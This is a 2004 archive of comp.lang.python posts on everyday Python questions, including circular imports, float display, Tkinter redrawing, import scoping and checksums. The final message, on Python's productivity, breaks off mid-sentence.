> Python a bad choice?
> 
> What makes it better or worse than languages like perl, php, delphi,
> or c++?
> 
> Thanks for your opinions.
> 
> Todd.
> 



From stuart_white_ at hotmail.com  Tue Feb 24 05:15:31 2004
From: stuart_white_ at hotmail.com (sw)
Date: 24 Feb 2004 02:15:31 -0800
Subject: Newbie - circular import problem
Message-ID: <db1b46bd.0402240215.4d7ea76a@posting.google.com>

Can you give me some pointers on resolving this circular inclusion? I've got 
two classes, in two files:

--a.py--
import b
class ClassA:
    def __init__(self):
        print 'ClassA'

--b.py--
import a
class ClassB(ClassA):
    def __init__(self):
        print 'ClassB'
 
If I try to access ClassB (for example, by firing up python and importing b), I
get the error:

  File "b.py", line 2, in ?
    class ClassB(ClassA):
    NameError: name 'ClassA' is not defined

Could someone explain what is going wrong here? I'm still getting up to speed
with python, but, to me, this looks like the import of b is occuring before
ClassA has been defined. Is that right? How can I correct this, apart from
amalgamating the two into a single file?

Many thanks for any guidance.


From rainerd at eldwood.com  Mon Feb 16 21:41:31 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Tue, 17 Feb 2004 02:41:31 GMT
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl> <3OadnQovPKs4nqzdRVn-hQ@comcast.com>
	<ad052e5c.0402161649.5e629151@posting.google.com>
Message-ID: <vbfYb.338817$na.500223@attbi_s04>

Dan Bishop wrote:
> Why not display the *exact* decimal representation,
> "0.1000000000000000055511151231257827021181583404541015625"?

This has my vote.  Unfortunately Python seems incapable of figuring out all
of those digits.

Python 2.3.2 (#49, Oct  2 2003, 20:02:00) [MSC v.1200 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> '%.64f' % 0.1
'0.1000000000000000100000000000000000000000000000000000000000000000'


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From miki.tebeka at zoran.com  Wed Feb 18 15:59:40 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 18 Feb 2004 12:59:40 -0800
Subject: Converting binaty to ascii
References: <mailman.103.1077104625.31398.python-list@python.org>
Message-ID: <4f0a9fdb.0402181259.514801f@posting.google.com>

Hello Angelo,

> Any suggestions on what is the right approach to solve the problem of
> converting a database in binary format to an ASCII format?
If it's a "real" database then just issue a query with on of the
Python plugins and then save the query result to a text file.
If it's just a binary file use the `array' or `struct' modules.

HTH.
Miki


From roy at panix.com  Wed Feb 11 15:26:56 2004
From: roy at panix.com (Roy Smith)
Date: Wed, 11 Feb 2004 15:26:56 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <A128D751272CD411BC9200508BC2194D033835E6@escpl.tcp.com.ar>
	<mailman.1479.1076519730.12720.python-list@python.org>
Message-ID: <roy-E2648D.15265611022004@reader2.panix.com>

In article <mailman.1479.1076519730.12720.python-list at python.org>,
 Skip Montanaro <skip at pobox.com> wrote:

>     Facundo> What I'm trying to say is: If you're not executing any code (no
>     Facundo> function call) and you're not doing any assingment, what's the
>     Facundo> point of that line?
> 
> There is none, but the Python compiler doesn't know that when it compiles
> the code, so it's not reasonable for it to issue a warning.

The following perfectly reasonable program would change its behavior if 
functions were automatically called when mentioned without trailing ()'s.

------------------------------------

#!/usr/bin/env python

class ReligeousFanatic:
        def surprise ():
                print "Gasp!"

        def fear ():
                print "Run for your lives!"

        def anAlmostFanaticalDevotionToThePope ():
                print "All Hail Discordia!"

spanishInquisition = ReligeousFanatic ()
weaponCount = 0

try:
        spanishInquisition.surprise
        weaponCount += 1
except AttributeError:
        pass

try:
        spanishInquisition.fear
        weaponCount += 1
except AttributeError:
        pass

try:
        spanishInquisition.anAlmostFanaticalDevotionToThePope
        weaponCount += 1
except AttributeError:
        pass

print "We have %d weapons" % weaponCount


From phreacker at aol.com  Sat Feb 14 05:59:27 2004
From: phreacker at aol.com (cghost)
Date: 14 Feb 2004 02:59:27 -0800
Subject: Namespace issues...
Message-ID: <d1253dfc.0402140259.3b614b95@posting.google.com>

i am very confused...why does the following script modify the global list "l":

l=[]

def x():
   l.append("xyz")

x()
print l

but the same script applied to a single variable doesnt..:

l="moe"

def x():
   l+="howdy"

x()
print l


From tim.one at comcast.net  Thu Feb  5 12:53:40 2004
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 5 Feb 2004 12:53:40 -0500
Subject: Python can't divide??!?!
In-Reply-To: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEFCIMAB.tim.one@comcast.net>

[Dan Williams, surprised by float division]

It's what your hardware does; Python doesn't try to hide it from you; more
here (this is Appendix B in the Python Tutorial that came with Python):

    http://www.python.org/doc/current/tut/node15.html




From jcarlson at nospam.uci.edu  Sat Feb 21 01:59:11 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 20 Feb 2004 22:59:11 -0800
Subject: Windows Service
In-Reply-To: <c1600h$74i$1@news-reader3.wanadoo.fr>
References: <c1600h$74i$1@news-reader3.wanadoo.fr>
Message-ID: <c16vop$87n$3@news.service.uci.edu>

> I would like to create Windows Services from python scripts, how can I 
> find documentation about that ?

Check out py2exe: http://starship.python.net/crew/theller/py2exe/

Depending on what you want to do, you may also want to check out pywin32 
(used to be called win32all): https://sourceforge.net/projects/pywin32/

  - Josiah


From jcarlson at nospam.uci.edu  Thu Feb  5 15:01:02 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 12:01:02 -0800
Subject: Line Text Parsing
In-Reply-To: <Xns948575A2C930Aacuencacanadacom@198.161.157.145>
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <bvu7i9$cg1$2@news.service.uci.edu>

> 01508390019002      11284361000002SUGARPLUM
> 015083915549           SHORT ON LAST ORDER 
> 0150839220692 000002EA BMC   15 KG   001400

Is the above the format of all possible lines (aside from empty lines)?

  - Josiah


From aahz at pythoncraft.com  Sat Feb 28 11:52:59 2004
From: aahz at pythoncraft.com (Aahz)
Date: 28 Feb 2004 11:52:59 -0500
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
Message-ID: <c1qh1b$cm5$1@panix1.panix.com>

In article <C0%%b.4538$qX5.249 at nwrdny03.gnilink.net>,
Chris <feb04.20.netman at spamgourmet.com> wrote:
>
>class Z(object):
>    value = 42
>    def __hasattr__(self, name):
>        if name == '__int__':
>            return True
>    def __getattr__(self, name):
>        if name == '__int__':
>            return lambda: self.value

IIRC, __getattribute__ may do what you want, but I don't have time to
check.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From jcarlson at nospam.uci.edu  Mon Feb  9 23:48:09 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 09 Feb 2004 20:48:09 -0800
Subject: Tix on Windows
In-Reply-To: <slrnc2gnvv.14l.bignose-hates-spam@rose.localdomain.fake>
References: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
	<c07bdn$cqg$05$1@news.t-online.com>
	<c09kqq$bju$1@news.service.uci.edu>
	<slrnc2gnvv.14l.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <c09nuo$fco$2@news.service.uci.edu>

>>>If all goes well, Python 3.4 will ship with Tix.
>>
>>One would hope you mean 2.3, and not the currently mythical post-3.0
>>series.  ;)
> 
> Python 2.3 has already released ("shipped").  Tix wasn't in it.
> 
> My own guess is that the intended meaning is "Python 2.4".

Heh.  I slipped just as bad as Martin.

  - Josiah


From golux at comcast.net  Thu Feb 26 10:55:23 2004
From: golux at comcast.net (Stephen Waterbury)
Date: Thu, 26 Feb 2004 10:55:23 -0500
Subject: urllib2.Request's RFC 2822 API inconsistent with email.Message's
Message-ID: <403E16EB.2080608@comcast.net>

I'm creating an HTTP client file-upload function
and noticed that there seems to be no nice way of
using urllib2.Request and email.MIMEMultipart together,
due to their inconsistent representations of RFC 2822
headers.

My naive hope was to inherit from both:

class UploadRequest(urllib2.Request, email.MIMEMultipart)

... but they don't play nice together.
They both have 'add_header' methods, but in Request,
add_header's internal effect is to add the header as a
key,value pair to self.headers (a dictionary), whereas
in Message, add_header has more semantics to deal with,
but basically appends the header to self._headers
(a list of headers represented as tuples).

Ultimately it might be nice if both implemented an
interface for this (maybe RFC2822thingy ... okay,
something serious then :).  In the meantime, it
might be possible for them to be made consistent
by making both self.headers and self._headers
properties whose underlying representation is
self.__headers.  If one of them has to win, my
guess is that changing urllib2 would break fewer
applications.

Cheers,
Steve




From steve at ninereeds.fsnet.co.uk  Sat Feb 21 18:36:56 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sat, 21 Feb 2004 23:36:56 +0000
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <blpf30d7s236p3rhdjmqt65kulml79uifj@4ax.com>


Hmmm...

In my first reply, I assumed you weren't entirely serious. After all,
why include the 'c2' class definitions - completely empty and not used
in any way - if not to add a little camouflage to your calling the
'c1' function in the first snippet but not doing the matching 'call'
to instantiate 'c1' in the second case?

Now I've read the other replys, and I'm suddenly wondering if I got it
all wrong.

Nah - you were definitely having a bit of fun, weren't you! Go on,
admit it!


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From mathias.foehr at mails.lu  Fri Feb  6 01:56:28 2004
From: mathias.foehr at mails.lu (mathias.foehr at mails.lu)
Date: Fri, 06 Feb 2004 07:56:28 +0100
Subject: Custom operator
In-Reply-To: <20040205220748.GA8055@nl.linux.org>
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>
	<20040205220748.GA8055@nl.linux.org>
Message-ID: <6.0.1.1.0.20040206074906.02624b30@www.mails.lu>

I want to define new operators because mathematicians use special operators (
         eg circle plus (+), circle times (*), arrows ->
) since centuries. It increases readability in this area and people have 
got used to it.

By the way, are there hooks in python to preprocess a statement before the 
python compiler
takes care of it?

Mathias

At 11:07 PM 5/2/2004 +0100, Gerrit wrote:
>mathias wrote:
> > I would like to define a custom operator in Python.
> > (It is not about overloading an existing operator but about
> > defining special new operators)
>
>You cannot define new syntax in Python.
>
>This is on purpose, Python would be a different language if it could.
>"import this"
>
>Why do you want it?
>
>Gerrit.
>
>--
>PrePEP: Builtin path type
>     http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
>Asperger's Syndrome - a personal approach:
>         http://people.nl.linux.org/~gerrit/english/

Mathias Foehr et B?atrice Gennart
69a, route de Kreuzerbuch
L-8370 Hobscheid
GD Luxembourg 




From tbr at nospam.spam  Tue Feb 17 06:01:06 2004
From: tbr at nospam.spam (TechBookReport)
Date: Tue, 17 Feb 2004 11:01:06 -0000
Subject: Review of 'Learning Python'
Message-ID: <4031f473$0$17630$afc38c87@news.easynet.co.uk>

There's a review of the second edition of 'Learning Python' by Mark Lutz and
David Ascher just published on TechBookReport
(http://www.techbookreport.com/tbr0064.html). Take a look at the review if
you're interested in an introductory Python book.





From virus.manager at st.com  Mon Feb  9 07:20:28 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Mon, 09 Feb 2004 12:20:28 -0000
Subject: Virus Alert
Message-ID: <20040209122028.3D130F4B5@zeta.dmz-eu.st.com>

The mail message (file: data.zip) you sent to <beazley at cs.utah.edu> contains a virus. (on zeta)



From paul at prescod.net  Thu Feb 26 00:48:47 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 25 Feb 2004 21:48:47 -0800
Subject: How does Ruby compare to Python?? How good is DESIGN
 of	Rubycompared to Python?
In-Reply-To: <slrnc3qm17.kc4.joe@gate.notcharles.ca>
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>	<mailman.100.1077717447.8594.python-list@python.org>	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<slrnc3qm17.kc4.joe@gate.notcharles.ca>
Message-ID: <403D88BF.8070809@prescod.net>

Joe Mason wrote:

>...
> 
> 
> I've always found the performance differences between functional and imperative
> languages fascinating (well, ever since I found out about it) - on the
> one hand, pure functional languages can prove facts about the code
> mathematically, so in theory the compiler can optimize much more away.
> But on the other hand, supporting all the extra function state they need
> is very costly.

What do you mean by "extra function state?" Are you talking about LAZY 
functional languages?

> Of course, hybrid languages like Python and Ruby have the worst of both
> worlds - side effects everywhere AND extra function baggage to pass
> around.

I don't know what you mean by "extra function baggage" and I don't see 
how (e.g.) Python has some and Java or C# dn't. Maybe Haskell (but maybe 
not). I don't know what you mean about Python.

  Paul Prescod





From gerrit at nl.linux.org  Thu Feb 26 09:15:15 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 26 Feb 2004 15:15:15 +0100
Subject: How to obscure a password
In-Reply-To: <A128D751272CD411BC9200508BC2194D0338368E@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D0338368E@escpl.tcp.com.ar>
Message-ID: <20040226141515.GA5146@nl.linux.org>

Batista, Facundo wrote:
> So, is there a module to obscure the password text in a secure way?
(...)
> I need to restore the password later and use it as if the user just entered
> it.

If you can restore it, anyone can. So there is theoretically no secure way.
You can scramble it by applying some encodings to it serially:

s = str(int("Hello, world!".encode("rot13").encode("zlib").encode("uu").encode("rot13").encode("hex"), 16))
hex(int(s))[2:-1].decode('hex').encode('rot13').decode("uu").decode("zlib").decode("rot13")

However, it is not secure, especially not now that its on usenet ;-)

Gerrit.

-- 
Weather in Twenthe, Netherlands 26/02 13:25 UTC:
	0.0??C mist overcast wind 5.4 m/s W (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From tkarlsson at qm.com  Mon Feb  9 18:41:08 2004
From: tkarlsson at qm.com (Totte Karlsson)
Date: Mon, 9 Feb 2004 15:41:08 -0800
Subject: gvim file filter
Message-ID: <c095qk$pr1$1@sea.gmane.org>

How can I change gvims file open filter?
I need to add *.cc there.. it's absent.
thanks
/totte








From cygnus at cprogrammer.org  Thu Feb  5 16:18:06 2004
From: cygnus at cprogrammer.org (Jonathan Daugherty)
Date: Thu, 5 Feb 2004 16:18:06 -0500
Subject: Newbie question on tuples
In-Reply-To: <16418.45791.669094.323512@montanaro.dyndns.org>
References: <b4a8ffb6.0402051309.4292ccf1@posting.google.com>
	<16418.45791.669094.323512@montanaro.dyndns.org>
Message-ID: <20040205211806.GA22184@mail.theserver.ath.cx>

# Tuples don't have an index method, but lists do, so you can list-ify your
# tuple:

They most certainly do.

--

  Jonathan Daugherty
  http://www.cprogrammer.org

  "It's a book about a Spanish guy called Manual, you should read it."
                                                            -- Dilbert



From dippyd at yahoo.com.au  Tue Feb 24 23:07:26 2004
From: dippyd at yahoo.com.au (Steve)
Date: Wed, 25 Feb 2004 15:07:26 +1100
Subject: Why import only at module level?
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
	<m31xorjnya.fsf@pc150.maths.bris.ac.uk>
Message-ID: <403C1F7E.6010909@yahoo.com.au>

Michael Hudson wrote:

>>   def frob(x):
>>      import re
>>      if re.search('sdf[234]xyz', x): ...
>>
>>instead preferring that you pollute your module's global namespace
>>with the names of all your imports.  What's the point of that?
> 
> What's the problem with that?

(1) It breaks code encapsulation. Well, perhaps 
"breaks" is too strong a word, but it makes data hiding 
more difficult. Unless you jump through hoops to remove 
all traces of the objects you import, modules that you 
import will be visible to those that import you.

(2) It is messy. The whole point of nested scopes is to 
make objects visible only to the objects that need 
them. If only one function needs the import, why force 
it to be visible to all the others?

(3) There was clearly a need (or at least a wish) to be 
able to hide imported objects from importing modules. 
The usual way of doing this is:

from spam import public as _notpublic

Making the import local to the calling function works 
well too.

I sometimes delete the binding when I'm done:

from spam import public
# use public in here
del public

although there are disadvantages to this method.



[snip]
 > The problem HERE is for nested scopes; it's
 > impossible to know in
 >
 > def f():
 >     from baz import *
 >     def g():
 >         return y
 >
 > where y is coming from (i.e. is it a captured 
binding > or a global).

Why is this any different from the following top-level 
code:

# module baz:
y = "spam spam spam"

 >>> y= "I don't like spam"
 >>> from baz import *

Where is the binding y coming from? The question of 
whether this code is at the top-level or in a function 
definition is a red herring.


It seems to me that forbidding imports except at the 
top level is an arbitrary restriction. Using import 
insided function definitions might not work for some 
people, but it works for others.



-- 
Steven D'Aprano




From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Wed Feb 25 06:31:47 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Wed, 25 Feb 2004 12:31:47 +0100
Subject: checksum 
In-Reply-To: <403c7fad$0$770$ba620e4c@news.skynet.be>
References: <403c7fad$0$770$ba620e4c@news.skynet.be>
Message-ID: <403c87a3$0$566$e4fe514c@news.xs4all.nl>

Geiregat Jonas wrote:
> I've written a small app to share data in a lan.
> I would like to be able to do some kind of checksum checking on the 
> files. How could this be implemented ?

see zlib.crc32 or zlib.adler32 for fast checksums
see md5 or sha for secure checksums (actually, hashes).

--Irmen


From stewart at midtoad.homelinux.org  Sat Feb 28 03:49:25 2004
From: stewart at midtoad.homelinux.org (Stewart Midwinter)
Date: Sat, 28 Feb 2004 01:49:25 -0700
Subject: Tkinter: how to refresh a canvas without duplicates?
In-Reply-To: <20040228011336.3e4a9e0f@pc-00065.midtoad.homelinux.org>
References: <20040228011336.3e4a9e0f@pc-00065.midtoad.homelinux.org>
Message-ID: <20040228014925.492d7355@pc-00065.midtoad.homelinux.org>

On Sat, 28 Feb 2004 01:13:36 -0700
Stewart Midwinter <stewart at midtoad.homelinux.org> spake thusly:

> I've got a Tkinter app that draws three histograms.  ...
> 
> I want to redraw the rectangles every time I press the Again button.  This
> works for me, but I get an extra set of rectangles each time I press the Again
> button. How to get rid of this effect?

Ok, answering my own question here, and placing another one.  I realised that my
three histograms are being drawn inside three frames which are children of the
dialog interior. So, there's no easy way to eliminate this interior between
button presses.  I created another frame container, and put all of the stuff I
want to re-draw inside that container.  Then I can destroy that container, and
redraw it.  Works great!

Now the only problem is the Cancel button. It should eliminate my dialog, which
it does if pressed right away.  But if I press the Apply button 3 times, to
redraw the histograms 3 times, I have to press the Cancel button 4 times before
the dialog disappears.  Why is this?

here's my revised code:

---

title = 'Pmw.Dialog demonstration'

# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']

from Tkinter import *
import Pmw
import random

global canwidth, canheight, sectors, barcolors
sectors = 'SECT_1','SECT_2','SECT_3'
barcolors = 'green','yellow','red','violet'
canwidth = 200
canheight = 20


class Summary:
    def __init__(self, parent):
	# Create the dialog.
	self.dialog = Pmw.Dialog(parent,
	    buttons = ('OK', 'Apply', 'Cancel', 'Help'),
	    defaultbutton = 'OK',
	    title = 'My dialog',
	    command = self.execute)
	self.dialog.withdraw()

	# Add some contents to the dialog.
	w = Label(self.dialog.interior(),
	    text = 'Sector Summary',
	    background = 'black',
	    foreground = 'white',
	    pady = 20)
	w.pack(expand = 1, fill = 'both', padx = 2, pady = 2)
	

    def drawRec(self):
        global row,can, frm
        frm = Frame(self.dialog.interior())
	for sector in sectors:
		row = Frame(frm)
		lab = Label(row, width=10,text=sector)
		can = Canvas(row,
			width=canwidth,
			height=canheight
			)
	
                h=canheight
                m=canwidth-20 # alarm level (100%) is less than available space
for rectangle                d=canwidth/2
                p=random.randrange(-1,2,2) # create random + or - imbalance
                f=random.randrange(-110,110,1)/100.0 # create random fractional
height of bar                w=f*m
                startx=d+f*d
                starty=0
                endx=d
                endy=h
                if (f<-1.0):
                    rcolor='violet'
                elif (-1.0<=f<0.85):
                    rcolor='green'
                elif (0.85<f<=1.0):
                    rcolor='yellow'
                elif (f>1.0):
                    rcolor='red'
                else:
                    rcolor='grey'
               
can.create_rectangle(startx,starty,endx,endy,width=1,fill=rcolor)               
frm.pack(side=TOP, fill=X)                row.pack(side=TOP, fill=X)
                lab.pack(side=LEFT)
                can.pack(side=LEFT, expand=0, padx = 1, pady = 1) #grow
horizontal        self.dialog.activate(globalMode = 'nograb')

    def redrawRec(self):
        self.dialog.deactivate()
        #for i in range(3):
        #sector in sectors:
        frm.destroy()
        self.drawRec()
        self.dialog.activate()
        
    def execute(self, result):
	print 'You clicked on', result
	if result not in ('Apply', 'Help'):
	    self.dialog.deactivate(result)
	    self.dialog.destroy
	if (result =='Apply'):
            self.redrawRec()
            
######################################################################

# Create demo in root window for testing.
if __name__ == '__main__':
    root = Tk()
    #Pmw.initialise(root)
    #root.title(title)

    widget = Summary(root)
    goButton = Button(root, text = 'Again', command = lambda:
widget.redrawRec())    goButton.pack(side = 'bottom')
    exitButton = Button(root, text = 'Exit', command = root.destroy)
    exitButton.pack(side = 'bottom')
    widget.drawRec()
    root.mainloop()

---



From claird at lairds.com  Fri Feb 27 23:00:44 2004
From: claird at lairds.com (Cameron Laird)
Date: Sat, 28 Feb 2004 04:00:44 -0000
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
Message-ID: <10404jc6dinura8@corp.supernews.com>

In article <403fa54b at news.zianet.com>,
Erik Johnson <ej.at.wellkeeper at dot.com> wrote:
			.
			.
			.
>some probably not. To those that have used PHP: what am I potentially losing
>that Python really can't replace?
			.
			.
			.
The first thing that comes to my mind is the panoply of
data-management bindings PHP builds in.  Those who need
to work with a variety of hosting providers like the
comfort of being able to count on the availability of
their favorite DBMS.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From fredrik at pythonware.com  Tue Feb 24 17:28:14 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Feb 2004 23:28:14 +0100
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org>
	<nfgqg1-gh4.ln1@home.rogerbinns.com>
Message-ID: <c1gj72$mlr$1@sea.gmane.org>

Roger Binns wrote:

> Basically the existing xmlrpclib and SimpleXMLRPCServer are hard coded
> (and IMHO go out of their way) to do one request per connection, and
> then shut things down.

if you don't like the xmlrpclib default Transport, use your own.  you probably
only have to override 'make_connection' and 'parse_response' to get the be-
haviour you're looking for.

</F>






From pythontutor at venix.com  Sat Feb 28 20:28:59 2004
From: pythontutor at venix.com (Lloyd Kvam)
Date: Sat, 28 Feb 2004 20:28:59 -0500
Subject: [Tutor] Re: Reading text lines from a socket
In-Reply-To: <opn7h1-mij.ln1@pluto.home>
References: <sqj7h1-efj.ln1@pluto.home> <40412589.40704@venix.com>
	<opn7h1-mij.ln1@pluto.home>
Message-ID: <4041405B.3070503@venix.com>

Well, I've never used it, but sockets do have the makefile method.  That
would seem to fit what you're trying to do.

Sandip Bhattacharya wrote:

> [Reposting to the general list too]
> 
> Lloyd Kvam wrote:
> 
>> Sockets deal with packetized data.  The network protocols do not 
>> guarantee
>> keeping the data in line oriented chunks - even if the data starts out 
>> that way.
>>
>> You need to deal with extracting lines from chunks.  So long as the 
>> connection is
>> working properly, this is easy.  The challenge occurs when the 
>> remainder of a line
>> never gets delivered.  The best strategy depends upon the details of 
>> what you are
>> doing.
> 
> 
> I understand that. In Python using sockets is like using sockets in C.
> 
> However, I was looking for a python equivalent of the perl idiom of 
> opening a socket and getting a file handle ... and then reading this 
> file handle as any other line oriented file using $socket->readline
> 
> I am trying to write a simple Netcraft style script which tries the HEAD 
> method on a webserver and reads the Server: header from the response. I 
> would not like to use urllib, because even a call to something like 
> urllib.info() reads in the complete webpage on an open().
> 
> Even if this particular problem could be done elegantly, I would be 
> interested to know the answer to my original question because the 
> feature of reading a line at a time from a socket will help me in a lot 
> of other places in the future.
> 
> - Sandip
> 

-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-653-8139
fax:	801-459-9582




From james at logicalprogression.net  Wed Feb  4 13:42:51 2004
From: james at logicalprogression.net (James Henderson)
Date: Wed, 4 Feb 2004 18:42:51 +0000
Subject: an ingrate newbie complains
In-Reply-To: <20040204181357.GA5734@nl.linux.org>
References: <A128D751272CD411BC9200508BC2194D033835A0@escpl.tcp.com.ar>
	<20040204181357.GA5734@nl.linux.org>
Message-ID: <200402041842.51787.james@logicalprogression.net>

On Wednesday 04 February 2004 6:13 pm, Gerrit wrote:
> Batista, Facundo wrote:
> > Elaine Jackson wrote:
> >
> > #- 1) I find the following behavior puzzling and disappointing:
> > #-
> > #- >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
> > #- >>> Y=dict(X)
> > #- >>> Z=list(Y)
> > #- >>> Z==X
> > #- False
> > #- >>> Z==Y.keys()
> > #- True
> >
> > >>> Y
> >
> > {1: 1, 2: 4, 3: 9, 4: 16, 5: 25}
> >
> > >>> Z
> >
> > [1, 2, 3, 4, 5]
> >
> > I should expect that Z is not equal to Y.
>
> Well, the complain here is dat list(D) == D.keys(), not D.values().
> I share that complain.

The result of constructing a list from a dictionary - or any other type - 
depends entirely on what its default iterator is.  If you want list(D) to 
return D.values() then you'll also have to be happy to loop through values 
when you write "for o in D".  Personally I'm happy with keys being what you 
loop through.  Items would be my second choice (like in C++) with values a 
distant third.

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From mlh at furu.idi.ntnu.no  Wed Feb  4 12:23:09 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Wed, 4 Feb 2004 17:23:09 +0000 (UTC)
Subject: [ANN] Atox 0.1 released
Message-ID: <slrnc22ajt.hfp.mlh@furu.idi.ntnu.no>

Atox is a framework for automated markup. With it one can quite easily
write custom scripts for converting plain text into XML in any way one
wishes. Atox is normally used as a command-line script, using a simple
XML language to specify the desired transformation from text to
markup, but it is also possible to build custom parsers using the Atox
library. The name (short for ASCII-to-XML) is inspired by such UNIX
tools and system functions as atops and atoi.

Atox is hosted at SourceForge (http://atox.sf.net) and the current
release (0.1) is available for download via its project page
(http://sf.net/projects/atox).

Feedback is much appreciated.

-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From simonb at NOTTHISBIT.webone.com.au  Sat Feb 21 05:48:00 2004
From: simonb at NOTTHISBIT.webone.com.au (Simon Burton)
Date: Sat, 21 Feb 2004 21:48:00 +1100
Subject: Python and C
References: <mailman.101.1077275023.27104.python-list@python.org>
Message-ID: <pan.2004.02.21.10.48.00.464548@NOTTHISBIT.webone.com.au>

On Fri, 20 Feb 2004 12:03:31 +0100, herme wrote:

> Hi, this may be a newbie question, as I'm quite new to python but I'd
> rather get your points of view instead of wasting a week or two on a wrong
> way
> 
> I'm using python 2.3 on a mandrake brand new system
> 
> My problem : I'd like to use a complex C program under python. After few
> researchs I tested SWIG, which seems to work for me exept that I'd like to
> be able to
...

Have you looked at Pyrex ? It's quite easy to get up and running.

Simon.



From jcarlson at nospam.uci.edu  Sun Feb 15 17:15:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 15 Feb 2004 14:15:24 -0800
Subject: Python Productivity Gain?
In-Reply-To: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <c0or6h$cfs$1@news.service.uci.edu>

> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
> productivity gain was 5 to 10 times over Java in some in some cases. The
> strange thing that I have noticed is that there were no examples of this
> productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> some real life examples of productivity gains using Python as opposed other
> programming languages.
> 
> From my our personal experience, I have been programming with Python for
> about 6 months (but I have been programming in other languages for over 10
> years) and I have noticed that the more I had gotten use to programming in
> Python, the more my programming speed has increased. But ... this is true
> with any language that you program in as long as you are learning the
> methodologies and concepts of the programming language.  Your thoughts.

Before I give my opinions, I should probably give some background.  The 
first semester of my freshman year of college, I (and many others) were 
taught Scheme.  After 'mastering' Scheme, we moved on to C and C++ the 
following spring.  Within weeks of learning C (the semester started 
~February 1, competition was March 19), I competed in a local 
programming competition to decide who was going to participate in the 
following fall' (of 1999) regional ACM programming competition.  My 
partner and I placed second in the local competition, ahead of various 
sophomores and juniors, but didn't do quite so well in the regional ACM 
competition.

A year later, in the early spring of 2000 (sophomore year), I found 
Python.  In a week, I rewrote every programming assignment I had during 
the previous year and a half of undergraduate CS, from Scheme or C/C++ 
to Python.

Not only had I learned Python, and translated programs to Python, but I 
was able to write new software that I hadn't even considered before. 
Multithreading, sockets, interesting data structures, databases...the 
world was my oyster.  Two years later, in the spring of 2002, I was 
finishing the 4th rewrite of an as-of-yet unreleased (the quality was 
shit, I'm still looking for time to re-do it) parallel processing 
library, similar to MPI.  The 4th rewrite took a total of a week and a 
half, for 4500 lines of Python.  Functionally, every feature of MPI was 
included, written in ~10 days.  I had known Python for 2 years.


Fast forward to now, I've known Python for 4 years.  The only project 
I've written in C since, is a password cracker (modified l0phtcrack), 
that I had contemplated making into an independent project during 
undergrad.  Every other piece of code that I produce on a daily basis, 
for teaching Introductory Algorithm Design and Analysis (this quarter is 
my 5th as a TA for the course), for database classes, algorithmic 
theory, etc., or any time I need some tool, Python is what I build it with.

They say that when you have a hammer, everything looks like a nail. 
When wsing Python, most everything /is/ a nail.  Those things that are 
not nails, usually lie in the realm of different programming paradigms 
(like logic programming with Prolog, etc.), or are very processor 
intensive, and are not suitable for an interpreted language.  Psyco 
works well for a first step to stave off "not fast enough", and I hear 
